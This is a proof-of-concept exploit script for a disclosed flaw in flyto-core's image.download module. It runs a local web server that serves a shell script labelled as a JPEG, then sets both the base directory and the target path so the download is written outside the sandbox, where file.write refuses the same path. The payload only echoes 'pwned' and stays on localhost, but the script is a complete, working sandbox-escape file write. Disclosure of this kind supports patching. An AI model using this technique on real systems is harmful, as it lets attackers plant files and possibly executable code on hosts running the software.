CVE-2026-67429: flyto-core Arbitrary File Write via image.download

import asyncio, os, tempfile, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"
EVIL = b"#!/bin/sh\necho pwned\n"

class Content(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(EVIL)))
        self.end_headers()
        self.wfile.write(EVIL)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(
        target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever,
        daemon=True
    ).start()

    root   = tempfile.mkdtemp(prefix="flyto_poc_")
    sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
    escape  = os.path.join(root, "ESCAPE");  os.makedirs(escape)
    os.environ["FLYTO_SANDBOX_DIR"] = sandbox
    target = os.path.join(escape, "pwned")   # outside the sandbox

    # file.write correctly refuses the out-of-sandbox path
    # image.download writes attacker bytes there
    result = await ModuleRegistry.execute(
        "image.download",
        params={
            "url":        "http://localhost:8080/x.jpg",
            "output_dir": escape,   # attacker sets both base ...
            "output_path": target   # ... and target: check always passes
        },
        context={}
    )
    print(result)   # {'ok': True, 'path': '<root>/ESCAPE/pwned', ...}
    print(open(target, "rb").read())  # b'#!/bin/sh\necho pwned\n'

asyncio.run(main())